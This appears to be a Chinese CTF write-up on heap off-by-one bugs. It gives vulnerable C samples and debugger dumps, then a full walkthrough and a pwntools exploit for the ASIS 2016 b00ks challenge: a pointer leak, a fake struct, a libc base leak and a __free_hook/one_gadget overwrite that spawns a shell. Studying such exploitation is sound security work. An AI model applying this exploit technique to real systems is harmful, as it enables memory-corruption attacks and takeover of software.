介绍
主要指程序向缓冲区读入数据时发生溢出,并且只是溢出缓冲区一个字节。这通常是编程者没注意导致的。
这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
- 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
- 字符串操作不合适
在堆利用中单字节溢出可以造成巨大的安全隐患,这里主要学习堆中的Off By One。
Off By One利用思路
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。—-ctf-wiki
示例–栅栏错误(循环读取错误)
#include<stdio.h>
#include<stdlib.h>
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
puts("Get Input:");
my_gets(chunk1,16);
return 0;
}
wikipedia: 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题:
建造一条直栅栏(即不围圈),长 30 米、每条栅栏柱间相隔 3 米,需要多少条栅栏柱?
最容易想到的答案 10 是错的。这个栅栏有 10 个间隔,11 条栅栏柱。
chunk1的data段大小是16字节,但是我们在调用my_gets函数时可以读入17个字节,这就造成了栅栏错误,最后这一字节将会覆盖下面的堆空间
pwndbg> x/32gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 <=======chunk1
0x602010: 0x4141414141414141 0x4141414141414141 输入17个A
0x602020: 0x0000000000000041 0x0000000000000021 <=======chunk2
0x602030: 0x0000000000000000 0x0000000000000000
这里就覆盖了chunk2的prev size 即 chunk2->prev_szie可控。想想如果这个时候chunk2时freed chunk 那么我们就可以欺骗ptmalloc2了,使其空间计算错误达到堆空间重叠的效果
示例–字符串操作
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
这里strlen函数在测量字符串长度时遇到\x00就会停止,并不计入\x00但是 strcpy 在复制字符串时会拷贝结束符\x00 这就导致了Off By One
pwndbg> parseheap
addr prev size status fd bk
0x15e9000 0x0 0x20 Freed 0x41414141414141410x4141414141414141
0x15e9020 0x4141414141414141 0x400 Freed 0x75706e4920746547 0xa74
Corrupt ?! (size == 0) (0x15e9420)
pwndbg> x/32gx 0x15e9000
0x15e9000: 0x0000000000000000 0x0000000000000021 <======chunk1
0x15e9010: 0x4141414141414141 0x4141414141414141
0x15e9020: 0x4141414141414141 0x0000000000000400 <======unkown chunk
这里将\x00复制过来后,会覆盖下一个chunk 的size位 导致chunk1 被识别为 freed chunk.
next chunk 的 size 域低字节被结束符\x00 覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one
还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的
DWORD 0x41424344
内存 0x44,0x43,0x42,0x41
实战1:Asis CTF 2016 b00ks
checksec
matrix@ubuntu:~/how2heap/wiki/off by one$ checksec b00ks
[*] '/home/matrix/how2heap/wiki/off by one/b00ks'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开启RELRO NX PIE
matrix@ubuntu:~/how2heap/wiki/off by one$ ./b00ks
Welcome to ASISCTF book library
Enter author name: AAAAA
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>
经典菜单
IDA–关键函数
signed __int64 input_author()
{
printf("Enter author name: ");
if ( !(unsigned int)read_buf_n(data_Author, 32) )// off by one 将结尾的\n换位\x00
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}
在输入作家名称时,存在Off By One read_buf_n可以输入n+1个字符,Author存放在.data段:
0000000000202010 data_struk_ptr dq offset unk_202060 ; DATA XREF: check_struk_ptr:loc_B38↑o <======chunk结构体指针
.data:0000000000202010 ; delet:loc_C1B↑o ...
.data:0000000000202018 data_Author dq offset unk_202040 ; DATA XREF: input_author+15↑o <======字符串指针
.data:0000000000202018 ; show+CA↑o
.data:0000000000202018 _data ends
一定注意,这里两个都是指针 其指向的位置分别为unk_202060 unk_202040 ,即真正的内容 Author地址在 chunk结构体指针上面 相差0x20:
pwndbg> x/32gx $rebase(0x00202010)
0x555555756010: 0x0000555555756060 0x0000555555756040 <======依次为两个指针,可以看到Author指向的位置在 struck_ptr指向的位置之上
0x555555756020: 0x0000000100000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x4141414141414141 0x0000000000000000 <======存放name字符串
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000555555757480 0x0000000000000000 <=====存放struck指针
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
这是在第一次执行完add函数后偏移为0x00202010的data段数据
面对PIE $rebase(offset) 这个指令简直就是神器
他们两个的位置刚好相差0x20那么就可以用单字节溢出来覆盖截断符\x00,使得Author name字符串与指针相邻,这样在输出Author时就会把指针带出来。
pwndbg> x/32gx $rebase(0x00202010)
0x555555756010: 0x0000555555756060 0x0000555555756040 <======指针
0x555555756020: 0x0000000100000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x6161616261616161 0x6161616461616163 <=======Author
0x555555756050: 0x6161616661616165 0x6161616861616167 <=======Author
0x555555756060: 0x0000555555757480 0x0000000000000000 <=======struck指针
输入32个字符:aaaabaaacaaadaaaeaaafaaagaaahaaa\n
这个过程是:我们read后从0x555555756040开始将会村放32个字符+\x00这样覆盖了所有的\x00防止截断,最后的\x00会覆盖到0x555555756060的第一个字节,然后执行完add函数后strck_ptr会放到这里。这样两个数据就完美拼接了。接下来的泄露指针就很简单了。
接下来是重头戏:add函数
signed __int64 add()
{
int size; // [rsp+0h] [rbp-20h]
int v2; // [rsp+4h] [rbp-1Ch]
void *ptr2_chunk; // [rsp+8h] [rbp-18h]
void *ptr2_name_chunk; // [rsp+10h] [rbp-10h]
void *ptr2_descrip_chunk; // [rsp+18h] [rbp-8h]
size = 0;
printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size); //size无限制
if ( size >= 0 )
{
printf("Enter book name (Max 32 chars): ", &size);
ptr2_name_chunk = malloc(size);
if ( ptr2_name_chunk )
{
if ( (unsigned int)read_buf_n(ptr2_name_chunk, size - 1) )// not off by one
{
printf("fail to read name");
}
else
{
size = 0;
printf("\nEnter book description size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
if ( size >= 0 )
{
ptr2_descrip_chunk = malloc(size);
if ( ptr2_descrip_chunk )
{
printf("Enter book description: ", &size);
if ( (unsigned int)read_buf_n(ptr2_descrip_chunk, size - 1) )// not off by one
{
printf("Unable to read description");
}
else
{
v2 = check_struk_ptr(); // check 20 times
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
ptr2_chunk = malloc(0x20uLL);
if ( ptr2_chunk )
{
*((_DWORD *)ptr2_chunk + 6) = size;
*((_QWORD *)data_struk_ptr + v2) = ptr2_chunk; //data_struk_ptr这里存放chunk结构体指针
*((_QWORD *)ptr2_chunk + 2) = ptr2_descrip_chunk;
*((_QWORD *)ptr2_chunk + 1) = ptr2_name_chunk;
*(_DWORD *)ptr2_chunk = ++unk_202024;
return 0LL;
}
........
......
....
下面的否则就没必要分析了,还有几个free函数,也不用管因为 上面就有一个return 0
具体就不分析了,下面是数据结构图:
上图重点在于struck_chunk构造,name_chunk,descrip_chunk次之。
下面的就是一个book的整体构成:这里假设name_chunk 和 descrip_chunk都为malloc(0x20)
其他函数:
- delet 根据ID free name_chunk descrip_chunk struck_chunk 并最后将struck指针变量置零,很绝
- edit 也是根据ID 修改descrip_chunk里面的内容 写入的字节数由原struck_chunk中的size控制
- show 函数 根据struck 寻找并打印ID,Name,Description ,根据data段指针打印Author
- change_author 相当于重新调用input_author函数,即存在单字节溢出
利用思路
- 首先我们使用一次单字节溢出很容易可以得到book1_struck的指针,这样就知道了每个堆块的地址
- 每次change_author我们都可以覆盖struck指针低地址这样就可以控制其指向我们可控的地址
- 在可控区构造一个fake_struck_chunk:
fake_struck_chunk = p64(ID) + p64(vunl_addr1) + p64(vunl_addr2) + p64(size)
- 如果能把struck指针指向这里就可以实现任意地址读写(edit,print)
- 我们可以对之前申请好的struck指针进行覆盖‘A’*32+\n最后的\n被改为\x00,这样也就是说会将指针的最后以为改为00,所以该指针偏移范围就是0x00~0xff
- 因为我们对name chunk 和descrip chunk申请的空间无节制所以可以控制他们的大小来使得修改后的指针落在可改写区:description中
这是第一次add后的堆数据
如果这时把0x0000555555757480 覆盖为0x0000555555757400 那么 我们就无法控制,所以要调节那么chunk大小,把name chunk调为0xe:pwndbg> parseheap addr prev size status fd bk 0x555555757000 0x0 0x410 Used None None 0x555555757410 0x0 0x30 Used None None 0x555555757440 0x0 0x30 Used None None 0x555555757470 0x0 0x30 Used None None pwndbg> x/32gx 0x555555757410 0x555555757410: 0x0000000000000000 0x0000000000000031 <======== name_chunk 0x30 0x555555757420: 0x4242424242424242 0x0000000000000000 0x555555757430: 0x0000000000000000 0x0000000000000000 0x555555757440: 0x0000000000000000 0x0000000000000031 <======== descrip_chunk 0x30 0x555555757450: 0x4343434343434343 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000031 <======struck 0x30 0x555555757480: 0x0000000000000001 0x0000555555757420 0x555555757490: 0x0000555555757450 0x0000000000000020 0x5555557574a0: 0x0000000000000000 0x0000000000020b61 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x0000000000000000 0x5555557574f0: 0x0000000000000000 0x0000000000000000 0x555555757500: 0x0000000000000000 0x0000000000000000 pwndbg> x/8gx $rebase(0x00202010) 0x555555756010: 0x0000555555756060 0x0000555555756040 0x555555756020: 0x0000000100000000 0x0000000000000000 0x555555756030: 0x0000000000000000 0x0000000000000000 0x555555756040: 0x4141414141414141 0x0000000000000000 <======author pwndbg> 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000555555757480 0x0000000000000000 <======ptr2_struck_chunk_data 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000 pwndbg>
这样0x0000555555757530 ======>0x0000555555757500,就刚好落在descrip chunk的data段 ,在这里构造fake struckpwndbg> parseheap addr prev size status fd bk 0x555555757000 0x0 0x410 Used None None 0x555555757410 0x0 0xe0 Used None None 0x5555557574f0 0x0 0x30 Used None None 0x555555757520 0x0 0x30 Used None None pwndbg> x/64gx 0x555555757410 0x555555757410: 0x0000000000000000 0x00000000000000e1 <========name chunk 0x555555757420: 0x4242424242424242 0x0000000000000000 0x555555757430: 0x0000000000000000 0x0000000000000000 0x555555757440: 0x0000000000000000 0x0000000000000000 0x555555757450: 0x0000000000000000 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000000 0x555555757480: 0x0000000000000000 0x0000000000000000 0x555555757490: 0x0000000000000000 0x0000000000000000 0x5555557574a0: 0x0000000000000000 0x0000000000000000 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x0000000000000000 0x5555557574f0: 0x0000000000000000 0x0000000000000031 <======descrip chunk 0x555555757500: 0x4343434343434343 0x0000000000000000 0x555555757510: 0x0000000000000000 0x0000000000000000 0x555555757520: 0x0000000000000000 0x0000000000000031 <======struck chunk 0x555555757530: 0x0000000000000001 0x0000555555757420 0x555555757540: 0x0000555555757500 0x0000000000000020 0x555555757550: 0x0000000000000000 0x0000000000020ab1 0x555555757560: 0x0000000000000000 0x0000000000000000 pwndbg> x/8gx $rebase(0x00202010) 0x555555756010: 0x0000555555756060 0x0000555555756040 0x555555756020: 0x0000000100000000 0x0000000000000000 0x555555756030: 0x0000000000000000 0x0000000000000000 0x555555756040: 0x4141414141414141 0x0000000000000000 pwndbg> 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000555555757530 0x0000000000000000 <====ptr2struck chunk 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000
我们可以构造一个struck book2 这里malloc两个很大的chunk 大于 top chunk这样就会调用mmap来映射一片合适的空间,而这个mmap的地址与libc的加载地址的偏移是固定的,所以泄露第二个book的name 或者descrip地址就可以根据偏移算出 libc加载地址。
输入两个book:
book1:size:0xd0 name:AAAAAAAA size:32 descrip:BBBBBBBB
book1:size:0x21000 name:AAAAAAAA size:0x21000 descrip:BBBBBBBB
addr prev size status fd bk
0x555555757000 0x0 0x410 Used None None
0x555555757410 0x0 0xe0 Used None None
0x5555557574f0 0x0 0x30 Used None None
0x555555757520 0x0 0x30 Used None None
0x555555757550 0x0 0x30 Used None None
pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000 0x00000000000000e1
0x555555757420: 0x4141414141414141 0x0000000000000000
0x555555757430: 0x0000000000000000 0x0000000000000000
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x0000000000000000
0x5555557574f0: 0x0000000000000000 0x0000000000000031
0x555555757500: 0x4242424242424242 0x0000000000000000
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000031
0x555555757530: 0x0000000000000001 0x0000555555757420
0x555555757540: 0x0000555555757500 0x0000000000000020
0x555555757550: 0x0000000000000000 0x0000000000000031 <=======book2
0x555555757560: 0x0000000000000002 0x00007ffff7fb9010 <=======mmap返回地址
0x555555757570: 0x00007ffff7f97010 0x0000000000021000
0x555555757580: 0x0000000000000000 0x0000000000020a81
vmmap
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so <=======一般第一个是我们要用来计算的
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7fb9010 -0x7ffff7a0d000 ==0x5ac010 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
获得libc地址后就可以将onegadget写入_free_hook中,然后执行delet即可触发哦呢gadget
__free_hook __malloc_hook都存放着NULL如果里面放了地址,就会转到该地址进行执行
EXP
from pwn import*
from time import sleep
context.log_level = 'debug'
def author(name):
sh.sendlineafter('Enter author name: ',str(name))
def create(name_size,name,size,descrip):
sh.sendlineafter('> ','1')
sh.sendlineafter('Enter book name size: ',str(name_size))
sh.sendlineafter('nter book name (Max 32 chars): ',str(name))
sh.sendlineafter('Enter book description size: ',str(size))
sh.sendlineafter('Enter book description: ',str(descrip))
def delet(ID):
sh.sendlineafter('> ','2')
sh.sendlineafter('Enter the book id you want to delete: ',str(ID))
def edit(ID,descrip):
sh.sendlineafter('> ','3')
sh.sendlineafter('Enter the book id you want to edit: ',str(ID))
sh.sendlineafter('Enter new book description: ',str(descrip))
def show():
# gdb.attach(sh)
sh.sendlineafter('> ','4')
def change_author(name):
sh.sendlineafter('> ','5')
sh.sendlineafter('Enter author name: ',str(name))
def exit():
sh.sendlineafter('> ','6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./b00ks')
#sh = remote('node3.buuoj.cn',25412)
author('A'*0x20)
create(0xd0,'A'*8,0x20,'BBBBBBBB') #0xd0 == 208
show()
sh.recvuntil('Author: ')
sh.recv(32)
ptr2_struck_book1 = u64(sh.recv(6).ljust(8,'\x00'))
print 'ptr2_struck===>' + str(hex(ptr2_struck_book1))
create(0x21000,'vmmap1',0x21000,'vmmap2') #create(0x21000,'/bin/sh',0x21000,'vmmap2')
fake_chunk = p64(1) + p64(ptr2_struck_book1+0x38) + p64(ptr2_struck_book1+0x40) + p64(0xffff)
edit(1,fake_chunk)
#gdb.attach(sh)
change_author('A'*0x20)
show()
sh.recvuntil('Name: ')
vmmap1_addr = u64(sh.recv(6).ljust(8,'\x00'))
print "vmmap1_addr====>" + str(hex(vmmap1_addr))
vmmap_off_libc = 0x5b1010
libc_addr = vmmap1_addr - vmmap_off_libc
print "libc_addr====>" + str(hex(libc_addr))
malloc_hook = libc.symbols['__malloc_hook'] + libc_addr
free_hook = libc.symbols['__free_hook'] + libc_addr
one_gadget = libc_addr + 0x4527a #system_addr = libc.symbols['system'] + libc_addr
edit(1,p64(free_hook))
edit(2,p64(one_gadget))
delet(1)
sh.interactive()
同时也可以用system来获取shell
结果:
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x25 bytes:
'cat: flag: No such file or directory\n'
cat: flag: No such file or directory
$
待完善
上面都是针对本地进行攻击,我在做BUU上面的这个题死活打不通。
关键点:
- 在本地可以通过gdb调试获得mmap和libc加载地址的固定偏移,但是远程怎么弄?
- 回到add源代码,可以发现如果size=-1就直接进行free操作:
if ( ptr2_name_chunk ) // free ptr2_name_chunk // ptr2_descrip_chunk // ptr2_chunk free(ptr2_name_chunk); if ( ptr2_descrip_chunk ) free(ptr2_descrip_chunk); if ( ptr2_chunk ) free(ptr2_chunk); return 1LL;
- 这样程序会报错并且回显出当时的段数据:
- 回到add源代码,可以发现如果size=-1就直接进行free操作:
matrix@ubuntu:~/how2heap/wiki_heap/off by one$ nc node3.buuoj.cn 29661
Welcome to ASISCTF book library
Enter author name: asda
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
\> 1
Enter book name size: -1
Malformed size\*** Error in `./pwn/pwn': free(): invalid size: 0x00007ffc687e9110 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7faaa4e9e7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7faaa4ea737a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7faaa4eab53c]
./pwn/pwn(+0x11a2)[0x55c6e35c21a2]
./pwn/pwn(+0x1284)[0x55c6e35c2284]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7faaa4e47830]
./pwn/pwn(+0x909)[0x55c6e35c1909]
======= Memory map: ========
55c6e35c1000-55c6e35c3000 r-xp 00000000 fc:11 1190167747 /pwn/pwn
55c6e37c2000-55c6e37c3000 r--p 00001000 fc:11 1190167747 /pwn/pwn
55c6e37c3000-55c6e37c4000 rw-p 00002000 fc:11 1190167747 /pwn/pwn
55c6e40ae000-55c6e40d0000 rw-p 00000000 00:00 0 [heap]
7faaa0000000-7faaa0021000 rw-p 00000000 00:00 0
7faaa0021000-7faaa4000000 ---p 00000000 00:00 0
7faaa4c11000-7faaa4c27000 r-xp 00000000 fc:11 1171288770 /lib/x86_64-linux-gnu/libgcc_s.so.1
7faaa4c27000-7faaa4e26000 ---p 00016000 fc:11 1171288770 /lib/x86_64-linux-gnu/libgcc_s.so.1
7faaa4e26000-7faaa4e27000 rw-p 00015000 fc:11 1171288770 /lib/x86_64-linux-gnu/libgcc_s.so.1
7faaa4e27000-7faaa4fe7000 r-xp 00000000 fc:11 1171288750 /lib/x86_64-linux-gnu/libc-2.23.so <============通过比对本地报错信息可以知道这里是对方的
7faaa4fe7000-7faaa51e7000 ---p 001c0000 fc:11 1171288750 /lib/x86_64-linux-gnu/libc-2.23.so libc加载地址。
7faaa51e7000-7faaa51eb000 r--p 001c0000 fc:11 1171288750 /lib/x86_64-linux-gnu/libc-2.23.so
7faaa51eb000-7faaa51ed000 rw-p 001c4000 fc:11 1171288750 /lib/x86_64-linux-gnu/libc-2.23.so
7faaa51ed000-7faaa51f1000 rw-p 00000000 00:00 0
7faaa51f1000-7faaa5217000 r-xp 00000000 fc:11 1171288730 /lib/x86_64-linux-gnu/ld-2.23.so
7faaa540f000-7faaa5412000 rw-p 00000000 00:00 0
7faaa5415000-7faaa5416000 rw-p 00000000 00:00 0
7faaa5416000-7faaa5417000 r--p 00025000 fc:11 1171288730 /lib/x86_64-linux-gnu/ld-2.23.so
7faaa5417000-7faaa5418000 rw-p 00026000 fc:11 1171288730 /lib/x86_64-linux-gnu/ld-2.23.so
7faaa5418000-7faaa5419000 rw-p 00000000 00:00 0
7ffc687c9000-7ffc687ea000 rw-p 00000000 00:00 0 [stack]
7ffc687f6000-7ffc687f9000 r--p 00000000 00:00 0 [vvar]
7ffc687f9000-7ffc687fb000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
timeout: the monitored command dumped core
所以我的脚本里泄露完vmmap地址后有这样一行:#create(-1,’a’,-1,’a’)
根据报错信息就可以退出对方的libc地址
- 虽然我成功解决了这个问题,但是还是打不通o(≧口≦)o。本地一下子就通了,我是1604的环境,那我觉得应该就是libc版本的问题了,在此求大佬( •̀ ω •́ )✧
MASS
为了做这个题我必须再我的1604装一个onegadget,根据网上的步骤能成功安装,却不能用,报错忘记截屏了。网上似乎没有人遇到这种情况,最后自己对比了以下:/var/lib/gems/2.3.0/gems/elftools-1.1.3/elf_file.rb文件
第59行改为:note.desc.unpack(‘H*‘).first
因为我的一个虚拟机的onegadget能用,根据报错找到了这里